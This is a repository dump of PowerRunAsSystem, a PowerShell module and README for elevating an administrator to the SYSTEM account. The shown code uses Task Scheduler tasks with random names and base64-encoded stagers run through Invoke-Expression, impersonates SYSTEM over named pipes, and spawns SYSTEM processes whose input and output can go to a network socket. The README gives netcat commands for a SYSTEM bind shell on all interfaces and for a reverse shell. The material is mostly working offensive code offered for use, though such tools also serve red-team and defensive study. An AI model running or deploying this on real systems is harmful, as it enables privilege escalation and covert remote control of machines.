| ) 658 | } 659 | 660 | # Start new process as SYSTEM (Interactive Session) 661 | $CREATE_NEW_CONSOLE = 0x10 662 | 663 | if (-not [ADVAPI32]::CreateProcessAsUser( 664 | $newToken, 665 | [IntPtr]::Zero, 666 | $CommandLine, 667 | [IntPtr]::Zero, 668 | [IntPtr]::Zero, 669 | $(if ($redirectFd -eq $true) { $true } else { $false }), 670 | $CREATE_NEW_CONSOLE, 671 | [IntPtr]::Zero, 672 | [IntPtr]::Zero, 673 | $pSTARTUPINFO, 674 | $pPROCESS_INFORMATION 675 | )) 676 | { 677 | throw [WinAPIException]::New("CreateProcessAsUser") 678 | } 679 | 680 | # Read Process Information 681 | $processId = [System.Runtime.InteropServices.Marshal]::ReadInt32( 682 | $pPROCESS_INFORMATION, 683 | $PROCESS_INFORMATION_dwProcessId 684 | ) 685 | 686 | $hProcess = [System.Runtime.InteropServices.Marshal]::ReadIntPtr( 687 | $pPROCESS_INFORMATION, 688 | 0x0 689 | ) 690 | 691 | $hThread = [System.Runtime.InteropServices.Marshal]::ReadIntPtr( 692 | $pPROCESS_INFORMATION, 693 | $PROCESS_INFORMATION_hThread 694 | ) 695 | 696 | # Close returned handles, it is recommended by Microsoft documentation 697 | $null = [Kernel32]::CloseHandle($hThread) 698 | $null = [Kernel32]::CloseHandle($hProcess) 699 | 700 | if ($processId -gt -1 -and $redirectFd) 701 | { 702 | Wait-Process -Id $processId 703 | 704 | Close-NativeSocket -Socket $socket 705 | } 706 | 707 | return $processId 708 | } 709 | finally 710 | { 711 | [System.Runtime.InteropServices.Marshal]::FreeHGlobal($pSTARTUPINFO) 712 | [System.Runtime.InteropServices.Marshal]::FreeHGlobal($pPROCESS_INFORMATION) 713 | } 714 | } 715 | catch 716 | { 717 | return -1 718 | } 719 | finally 720 | { 721 | if ($newToken -ne [IntPtr]::Zero) 722 | { 723 | $null = [Kernel32]::CloseHandle($newToken) 724 | } 725 | } 726 | } 727 | } 728 | 729 | # ----------------------------------------------------------------------------------- # 730 | # # 731 | # # 732 | # # 733 | # Classes # 734 | # # 735 | # # 736 | # # 737 | # ----------------------------------------------------------------------------------- # 738 | 739 | $WinAPIException_ScriptBlock = { 740 | class WinAPIException: System.Exception { 741 | WinAPIException([string] $ApiName) : base ( 742 | [string]::Format( 743 | "WinApi Exception -> {0}, LastError: {1}", 744 | $ApiName, 745 | [System.Runtime.InteropServices.Marshal]::GetLastWin32Error().ToString() 746 | ) 747 | ) 748 | {} 749 | } 750 | } 751 | . $WinAPIException_ScriptBlock 752 | 753 | # ----------------------------------------------------------------------------------- # 754 | # # 755 | # # 756 | # # 757 | # Internal Functions # 758 | # # 759 | # # 760 | # # 761 | # ----------------------------------------------------------------------------------- # 762 | 763 | $InvokeZeroMemory_ScriptBlock = { 764 | function Invoke-ZeroMemory 765 | { 766 | param( 767 | [IntPtr] $MemoryOffset, 768 | [int] $Size 769 | ) 770 | 771 | for ($i = 0; $i -lt $Size; $i++) 772 | { 773 | [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryOffset, $i, 0x0) 774 | } 775 | } 776 | } 777 | . $InvokeZeroMemory_ScriptBlock 778 | 779 | function Test-SystemImpersonation 780 | { 781 | <# 782 | .SYNOPSIS 783 | Check if current user is correctly impersonating SYSTEM user. 784 | - ImpersonationLevel: Impersonate 785 | - IsSystem: True 786 | #> 787 | $isSystem = [Security.Principal.WindowsIdentity]::GetCurrent().IsSystem 788 | $impersonationLevel = [System.Security.Principal.WindowsIdentity]::GetCurrent().ImpersonationLevel 789 | 790 | return ($impersonationLevel -eq [System.Management.ImpersonationLevel]::Impersonate) -and $isSystem 791 | } 792 | 793 | function Test-Administrator 794 | { 795 | <# 796 | .SYNOPSIS 797 | Check if current user has administrator privilege. This privilege is required to register a 798 | SYSTEM user scheduled task. 799 | #> 800 | $windowsPrincipal = New-Object Security.Principal.WindowsPrincipal( 801 | [Security.Principal.WindowsIdentity]::GetCurrent() 802 | ) 803 | 804 | return $windowsPrincipal.IsInRole( 805 | [Security.Principal.WindowsBuiltInRole]::Administrator 806 | ) 807 | } 808 | 809 | function Test-AdministratorOrRaise 810 | { 811 | <# 812 | .SYNOPSIS 813 | Call `Test-Administrator` and raise an exception if the user is not an administrator. 814 | #> 815 | if (-not (Test-Administrator)) 816 | { 817 | throw "Insufficient Privilege: You must have administrator privilege to perform this action." 818 | } 819 | } 820 | 821 | function Get-RandomString 822 | { 823 | <# 824 | .SYNOPSIS 825 | Return a random string composed of a-Z and 0-9 826 | #> 827 | $charList = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" 828 | 829 | return -join ((1..15) | ForEach-Object { Get-Random -Input $charList.ToCharArray() }) 830 | } 831 | 832 | function Set-CurrentProcessPrivilege 833 | { 834 | <# 835 | .SYNOPSIS 836 | Adjust current process privilege. 837 | #> 838 | param( 839 | [Parameter(Mandatory=$True)] 840 | $PrivilegeName, 841 | 842 | [bool] $Enable = $true 843 | ) 844 | 845 | $luid = 0 846 | 847 | $result = [ADVAPI32]::LookupPrivilegeValue( 848 | [IntPtr]::Zero, 849 | $PrivilegeName, 850 | [ref] $luid 851 | ) 852 | if (-not $result) 853 | { 854 | throw [WinAPIException]::New("LookupPrivilegeValue") 855 | } 856 | 857 | $SE_PRIVILEGE_ENABLED = 0x2 858 | 859 | if ($Enable) 860 | { 861 | $attr = $SE_PRIVILEGE_ENABLED 862 | } 863 | else 864 | { 865 | $attr = 0x0 866 | } 867 | 868 | if ([Environment]::Is64BitProcess) 869 | { 870 | # TokenPrivilege Structure x64 871 | $tokenPrivilege_structSize = 0x18 872 | $tokenPrivilege_LuidOffset = 0x8 873 | $tokenPrivilege_AttributesOffset = 0x10 874 | } 875 | else 876 | { 877 | # TokenPrivilege Structure x32 878 | $tokenPrivilege_structSize = 0x10 879 | $tokenPrivilege_LuidOffset = 0x4 880 | $tokenPrivilege_AttributesOffset = 0xC 881 | } 882 | 883 | $tokenPrivilege = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($tokenPrivilege_structSize) 884 | try 885 | { 886 | Invoke-ZeroMemory -MemoryOffset $tokenPrivilege -Size $tokenPrivilege_structSize 887 | 888 | [System.Runtime.InteropServices.Marshal]::WriteInt32( 889 | $tokenPrivilege, 890 | 0, 891 | 1 892 | ) 893 | 894 | [System.Runtime.InteropServices.Marshal]::WriteInt64( 895 | $tokenPrivilege, 896 | $tokenPrivilege_LuidOffset, 897 | $luid 898 | ) 899 | 900 | [System.Runtime.InteropServices.Marshal]::WriteInt32( 901 | $tokenPrivilege, 902 | $tokenPrivilege_AttributesOffset, 903 | $attr 904 | ) 905 | 906 | $result = [ADVAPI32]::AdjustTokenPrivileges( 907 | [Security.Principal.WindowsIdentity]::GetCurrent().Token, 908 | $false, 909 | $tokenPrivilege, 910 | 0, 911 | [IntPtr]::Zero, 912 | [IntPtr]::Zero 913 | ) 914 | if (-not $result) 915 | { 916 | throw [WinAPIException]::New("AdjustTokenPrivileges") 917 | } 918 | } 919 | finally 920 | { 921 | [System.Runtime.InteropServices.Marshal]::FreeHGlobal($tokenPrivilege) 922 | } 923 | 924 | return ([System.Runtime.InteropServices.Marshal]::GetLastWin32Error() -eq 0) 925 | } 926 | 927 | function Write-CurrentUser 928 | { 929 | <# 930 | .SYNOPSIS 931 | Write the current user information to the console. 932 | 933 | .DESCRIPTION 934 | This function will write the current user name and token to the console. 935 | If the current user is the result of an impersonation, it will display "Impersonated" next to the user name. 936 | #> 937 | Write-Host "Current User: " -NoNewLine 938 | Write-Host ([System.Security.Principal.WindowsIdentity]::GetCurrent().Name) -ForegroundColor Green -NoNewLine 939 | Write-Host " (" -NoNewLine 940 | Write-Host ([Security.Principal.WindowsIdentity]::GetCurrent().Token) -NoNewLine -ForegroundColor Cyan 941 | 942 | 943 | if (Test-SystemImpersonation) 944 | { 945 | Write-Host " - Impersonated" -NoNewLine 946 | } 947 | 948 | Write-Host ")" 949 | } 950 | 951 | # ----------------------------------------------------------------------------------- # 952 | # # 953 | # # 954 | # # 955 | # Exported Functions # 956 | # # 957 | # # 958 | # # 959 | # ----------------------------------------------------------------------------------- # 960 | 961 | function Invoke-SystemCommand 962 | { 963 | <# 964 | .SYNOPSIS 965 | Execute an application as SYSTEM user with the specified argument(s). 966 | 967 | .DESCRIPTION 968 | Impersonation is not required for this function. It exclusively relies on Task Scheduler to execute action. 969 | 970 | It is important to note that executed application will run in the background and will not be visible to the user. 971 | (Non-interactive) 972 | 973 | .PARAMETER Application 974 | Program to execute as System. 975 | 976 | .PARAMETER Argument 977 | Optional argument(s) to pass to program to execute. 978 | #> 979 | param( 980 | [string] $Application = "powershell.exe", 981 | [string] $Argument = "-Command ""whoami | Out-File C:\result.txt""" 982 | ) 983 | 984 | Test-AdministratorOrRaise 985 | 986 | $taskName = Get-RandomString 987 | 988 | if ($Argument) 989 | { 990 | $action = New-ScheduledTaskAction -Execute $Application -Argument $Argument 991 | } 992 | else 993 | { 994 | $action = New-ScheduledTaskAction -Execute $Application 995 | } 996 | 997 | $null = Register-ScheduledTask -Force -Action $action -TaskName $taskName -User "NT AUTHORITY\SYSTEM" 998 | try 999 | { 1000 | Start-ScheduledTask $taskName 1001 | } 1002 | finally 1003 | { 1004 | Unregister-ScheduledTask -TaskName $taskName -Confirm:$false 1005 | } 1006 | } 1007 | 1008 | function Invoke-InteractiveSystemProcess 1009 | { 1010 | <# 1011 | .SYNOPSIS 1012 | Spawn a SYSTEM process in Active Microsoft Windows Session. 1013 | #> 1014 | param ( 1015 | [string] $CommandLine = "powershell.exe", 1016 | [switch] $Hide, 1017 | 1018 | [ValidateSet("None", "Reverse", "Bind")] 1019 | [string] $RedirectKind = "None", 1020 | 1021 | # Depending on the RedirectKind, the following parameter is whether the address of remote server 1022 | # or the interface to bind to. 1023 | [string] $Address, 1024 | 1025 | [ValidateRange(1, 65535)] 1026 | [int] $Port 1027 | ) 1028 | 1029 | $stager_ScriptBlock = { 1030 | try 1031 | { 1032 | $pipeClient = New-Object System.IO.Pipes.NamedPipeClientStream(".", "PIPENAME", [System.IO.Pipes.PipeDirection]::In) 1033 | 1034 | $pipeClient.Connect(5 * 1000) 1035 | 1036 | $reader = New-Object System.IO.StreamReader($pipeClient) 1037 | 1038 | $nextStage = $reader.ReadLine() 1039 | 1040 | Invoke-Expression([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($nextStage))) 1041 | } 1042 | finally 1043 | { 1044 | if ($reader) 1045 | { 1046 | $reader.Close() 1047 | } 1048 | 1049 | if ($pipeClient) 1050 | { 1051 | $pipeClient.Dispose() 1052 | } 1053 | } 1054 | } 1055 | 1056 | $pipeName = Get-RandomString 1057 | 1058 | $encodedBlock = [Convert]::ToBase64String( 1059 | [System.Text.Encoding]::ASCII.GetBytes( 1060 | ($stager_ScriptBlock.ToString()).replace('PIPENAME', $pipeName) 1061 | ) 1062 | ) 1063 | 1064 | $command = [string]::Format( 1065 | "Invoke-Expression([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('{0}')))", 1066 | $encodedBlock 1067 | ) 1068 | 1069 | Invoke-SystemCommand -Argument $command 1070 | 1071 | try 1072 | { 1073 | $pipeServer = New-Object System.IO.Pipes.NamedPipeServerStream($pipeName, [System.IO.Pipes.PipeDirection]::Out) 1074 | 1075 | $pipeServer.WaitForConnection() 1076 | 1077 | $writer = New-Object System.IO.StreamWriter($pipeServer) 1078 | $writer.AutoFlush = $true 1079 | 1080 | # Prepare optional arguments 1081 | $optionalArgs = @() 1082 | 1083 | if ($Hide) 1084 | { 1085 | $optionalArgs += "-Hide" 1086 | } 1087 | 1088 | if ($RedirectKind -ne "None") 1089 | { 1090 | $optionalArgs += "-RedirectKind $RedirectKind" 1091 | 1092 | if ($Address) 1093 | { 1094 | $optionalArgs += "-Address $Address" 1095 | } 1096 | 1097 | if ($Port) 1098 | { 1099 | $optionalArgs += "-Port $Port" 1100 | } 1101 | } 1102 | 1103 | # Create our final payload that will be executed in the context of the SYSTEM user 1104 | $payload = $InvokeInteractiveProcess_ScriptBlock.ToString() + 1105 | $WinAPIException_ScriptBlock.ToString() + 1106 | $InvokeZeroMemory_ScriptBlock.ToString() + 1107 | [string]::Format( 1108 | "Invoke-InteractiveSystemProcess -CommandLine ""{0}"" {1}", 1109 | $CommandLine, 1110 | # Forward optional arguments 1111 | ($optionalArgs -join " ") 1112 | ) 1113 | 1114 | $encoded_payload = [Convert]::ToBase64String([System.Text.Encoding]::ASCII.GetBytes($payload)) 1115 | 1116 | $writer.WriteLine($encoded_payload) 1117 | } 1118 | finally 1119 | { 1120 | if ($writer) 1121 | { 1122 | $writer.Close() 1123 | } 1124 | 1125 | if ($pipeServer) 1126 | { 1127 | $pipeServer.Dispose() 1128 | } 1129 | } 1130 | } 1131 | 1132 | function Invoke-ImpersonateSystem 1133 | { 1134 | <# 1135 | .SYNOPSIS 1136 | Impersonate SYSTEM User using NamedPipes. After calling this command, 1137 | current thread will impersonate the SYSTEM User. You will be able to spawn a new 1138 | process as SYSTEM using the impersonated token. 1139 | 1140 | .DESCRIPTION 1141 | Use the Invoke-RevertToSelf to stop impersonation. 1142 | #> 1143 | Test-AdministratorOrRaise 1144 | 1145 | if (Test-SystemImpersonation) 1146 | { 1147 | throw "You are already impersonating SYSTEM user. Use `Invoke-RevertToSelf` to stop impersonation." 1148 | } 1149 | 1150 | $stager_ScriptBlock = { 1151 | try 1152 | { 1153 | $pipeClient = New-Object System.IO.Pipes.NamedPipeClientStream(".", "PIPENAME", [System.IO.Pipes.PipeDirection]::Out) 1154 | 1155 | $pipeClient.Connect(10 * 1000) 1156 | 1157 | $writer = New-Object System.IO.StreamWriter($pipeClient) 1158 | $writer.AutoFlush = $true 1159 | 1160 | $writer.Write("A") 1161 | } 1162 | finally 1163 | { 1164 | if ($writer) 1165 | { 1166 | $writer.Close() 1167 | } 1168 | 1169 | if ($pipeClient) 1170 | { 1171 | $pipeClient.Dispose() 1172 | } 1173 | } 1174 | } 1175 | 1176 | try 1177 | { 1178 | $null = Set-CurrentProcessPrivilege -PrivilegeName "SeImpersonatePrivilege" 1179 | } 1180 | catch 1181 | {} 1182 | 1183 | try 1184 | { 1185 | Write-CurrentUser 1186 | 1187 | $pipeName = Get-RandomString 1188 | 1189 | $pipeServer = New-Object System.IO.Pipes.NamedPipeServerStream($pipeName, [System.IO.Pipes.PipeDirection]::In) 1190 | 1191 | $encodedBlock = [Convert]::ToBase64String( 1192 | [System.Text.Encoding]::ASCII.GetBytes( 1193 | ([string]$stager_ScriptBlock).replace('PIPENAME', $pipeName) 1194 | ) 1195 | ) 1196 | 1197 | $command = [string]::Format( 1198 | "Invoke-Expression([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('{0}')))", 1199 | $encodedBlock 1200 | ) 1201 | 1202 | Invoke-SystemCommand -Argument $command 1203 | 1204 | $pipeServer.WaitForConnection() 1205 | 1206 | $reader = New-Object System.IO.StreamReader($pipeServer) 1207 | 1208 | $null = $reader.Read() 1209 | 1210 | $pipeHandle = $pipeServer.SafePipeHandle.DangerousGetHandle() 1211 | 1212 | if (-not [ADVAPI32]::ImpersonateNamedPipeClient($pipeHandle)) 1213 | { 1214 | throw [WinAPIException]::New("ImpersonateNamedPipeClient") 1215 | } 1216 | 1217 | if (-not (Test-SystemImpersonation)) 1218 | { 1219 | throw "Failed to impersonate SYSTEM user." 1220 | } 1221 | 1222 | Write-Host "SYSTEM User Impersonation Successful." 1223 | 1224 | Write-CurrentUser 1225 | } 1226 | finally 1227 | { 1228 | if ($reader) 1229 | { 1230 | $reader.Close() 1231 | } 1232 | 1233 | if ($pipeServer) 1234 | { 1235 | $pipeServer.Dispose() 1236 | } 1237 | } 1238 | } 1239 | 1240 | function Invoke-RevertToSelf 1241 | { 1242 | <# 1243 | .SYNOPSIS 1244 | Stop impersonating user. 1245 | #> 1246 | 1247 | if (-not (Test-SystemImpersonation)) 1248 | { 1249 | throw "You are not impersonating SYSTEM user." 1250 | } 1251 | 1252 | Write-Host "Stop impersonating user..." 1253 | 1254 | if (-not [ADVAPI32]::RevertToSelf()) 1255 | { 1256 | throw [WinAPIException]::New("RevertToSelf") 1257 | } 1258 | 1259 | Write-Host "Impersonation Stopped." 1260 | Write-CurrentUser 1261 | } 1262 | 1263 | try { 1264 | Export-ModuleMember -Function Invoke-SystemCommand 1265 | Export-ModuleMember -Function Invoke-InteractiveSystemProcess 1266 | Export-ModuleMember -Function Invoke-ImpersonateSystem 1267 | Export-ModuleMember -Function Invoke-RevertToSelf 1268 | } catch {} -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | **PowerRunAsSystem** is a PowerShell script, also available as an installable module through the PowerShell Gallery, designed to impersonate the **NT AUTHORITY/SYSTEM** user and execute commands or launch interactive processes without relying on third-party tools. It achieves this using only native Windows build-in features. 2 | 3 | Traditionally, elevating privileges to the SYSTEM user from an administrator account requires using tools like [PsExec from Sysinternals](https://learn.microsoft.com/en-us/sysinternals/downloads/psexec) or creating a custom service. With PowerRunAsSystem, you can accomplish the same goal using the built-in Windows Task Scheduler, eliminating the need for external utilities. 4 | 5 | This tool allows you to: 6 | 7 | * Impersonate the SYSTEM user in the current terminal session 8 | * Run non-interactive commands as SYSTEM 9 | * Launch a new interactive process as SYSTEM (tied to the active terminal session) 10 | 11 | In cases where graphical access to the machine is unavailable, you can redirect the input/output of the spawned SYSTEM process to a listener (e.g., a Netcat listener) for interaction. 12 | 13 | > It’s important to note that administrative privileges are required to spawn a SYSTEM process in a standard configuration. Ensure that you either access a remote terminal (e.g., SSH or WinRM) with administrative rights or open a new terminal with elevated privileges (Run as Administrator). 14 | 15 | ## Exported Functions 16 | 17 | * `Invoke-SystemCommand` 18 | * `Invoke-InteractiveSystemProcess` 19 | * `Invoke-ImpersonateSystem` 20 | * `Invoke-RevertToSelf` 21 | 22 | ## Installation 23 | 24 | ### PowerShell Gallery (Recommended) 25 | 26 | The following commands for the installation process may require privileges (e.g., Administrative rights, appropriate Execution Policy settings). Ensure that you understand and meet these requirements before proceeding. 27 | 28 | ```powershell 29 | Install-Module -Name PowerRunAsSystem 30 | Import-Module -Name PowerRunAsSystem 31 | ``` 32 | 33 | ### Importing as a Script 34 | 35 | ```powershell 36 | IEX(Get-Content .\PowerRunAsSystem.ps1 -Raw -Encoding UTF8) 37 | ``` 38 | 39 | ## Usage 40 | 41 | ### `Invoke-SystemCommand` 42 | 43 | Spawn a new process as the SYSTEM user via Task Scheduler. Note that the SYSTEM process will not be tied to the active terminal session, meaning it won’t be interactive. This is useful for quickly running commands as SYSTEM without needing direct interaction with the process. 44 | 45 | #### ⚙️ Available Arguments 46 | 47 | | Parameter | Type | Default | Description | 48 | |-------------------------|------------------|------------------------------------------------|----------------------------| 49 | | Application | String | powershell.exe | Program to execute | 50 | | Argument | String | -Command "whoami \| Out-File C:\result.txt" | Optional program arguments | 51 | 52 | ### `Invoke-InteractiveSystemProcess` 53 | 54 | Spawn a new interactive process as the SYSTEM user, which will be tied to the active terminal session and, if selected, visible on the current desktop. 55 | 56 | This can be particularly useful in scenarios where an interactive SYSTEM process is needed. For instance, when using [Arcane Server](https://github.com/PhrozenIO/ArcaneServer), running it as an interactive SYSTEM process allows you to capture both the desktop and LogonUI/UAC prompts. 57 | 58 | ![Interactive System Process](images/InteractiveSystem.png) 59 | 60 | #### ⚙️ Available Arguments 61 | 62 | | Parameter | Type | Default | Description | 63 | |-------------------------|------------------|------------------------------------------------|------------------------------------------------------------------------------------------------| 64 | | CommandLine | String | powershell.exe | The complete command line to execute. | 65 | | Hide | Switch | None | If present, the process is not visible. | 66 | | RedirectKind | Choice | None | If the process input/output needs to be redirected to an external source (as discussed below)… | 67 | | Address | String | None | Used if the **RedirectKind** is set (as described below). | 68 | | Port | Int (R: 0-65535) | None | Used if the **RedirectKind** is set (as described below). | 69 | 70 | #### Advanced Usage : RedirectKind Flag 71 | 72 | ##### `None` (Default) 73 | 74 | No specific redirection is used; the process is spawned normally. To interact with the process, you must do so through the desktop. 75 | 76 | If RedirectKind Flag is specified, the `stdout`, `stderr`, and `stdin` of the process are redirected to a network socket. This setup enables interaction with the spawned process without requiring access to the desktop, which is particularly useful when the process is initiated from an SSH or WinRM session. 77 | 78 | #### `Bind` 79 | 80 | Spawn your interactive SYSTEM process: 81 | 82 | ````powershell 83 | Invoke-InteractiveSystemProcess -RedirectKind "Bind" -Address "0.0.0.0" -Port 4444 84 | ```` 85 | 86 | In the context of a bind shell, the address specifies the network interface to bind to. Using `0.0.0.0` means the shell will listen on all available network interfaces, while `127.0.0.1` restricts it to the loopback interface, making it accessible only from the local machine. 87 | 88 | Then, with netcat, connect to listener: 89 | 90 | `````bash 91 | nc 127.0.0.1 4444 92 | ````` 93 | 94 | In the context of a bind shell, it is important to note that the temporary SYSTEM process acting as the **launcher** will remain in a hanging state until a client connects to the listener. Only one client can connect to the listener, only once. Once connected, an interactive SYSTEM process will be established. When the session/process, both the client and listener will be released, marking the termination of the **launcher**. 95 | 96 | ##### `Reverse` 97 | 98 | Create a new Netcat listener (adapt the command according to your operating system and version of Netcat): 99 | ````bash 100 | nc -l 4444 101 | ```` 102 | 103 | Then, spawn your interactive SYSTEM process: 104 | 105 | ````powershell 106 | Invoke-InteractiveSystemProcess -RedirectKind "Reverse" -Address "127.0.0.1" -Port 4444 107 | ```` 108 | 109 | In the context of a reverse shell, it is important to note that a listener must be started before executing the reverse shell command. If the listener is not active, the attempt to spawn an interactive SYSTEM process will fail. 110 | 111 | Enjoy your SYSTEM shell 🐚 112 | 113 | ![Reverse Interactive SYSTEM Shell](images/ReverseInteractive.png) 114 | 115 | ### `Invoke-ImpersonateSystem` 116 | 117 | Impersonate the SYSTEM user within the current terminal session. 118 | 119 | ![RevertToSelf](images/ImpersonateSystem.png) 120 | 121 | ### `Invoke-RevertToSelf` 122 | 123 | Stop user impersonation 124 | 125 | ![RevertToSelf](images/RevertToSelf.png) 126 | -------------------------------------------------------------------------------- /images/ImpersonateSystem.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PhrozenIO/PowerRunAsSystem/29d2088e37d24179c4b7f9220e96606ccefdf0ed/images/ImpersonateSystem.png -------------------------------------------------------------------------------- /images/InteractiveSystem.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PhrozenIO/PowerRunAsSystem/29d2088e37d24179c4b7f9220e96606ccefdf0ed/images/InteractiveSystem.png -------------------------------------------------------------------------------- /images/ReverseInteractive.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PhrozenIO/PowerRunAsSystem/29d2088e37d24179c4b7f9220e96606ccefdf0ed/images/ReverseInteractive.png -------------------------------------------------------------------------------- /images/RevertToSelf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PhrozenIO/PowerRunAsSystem/29d2088e37d24179c4b7f9220e96606ccefdf0ed/images/RevertToSelf.png --------------------------------------------------------------------------------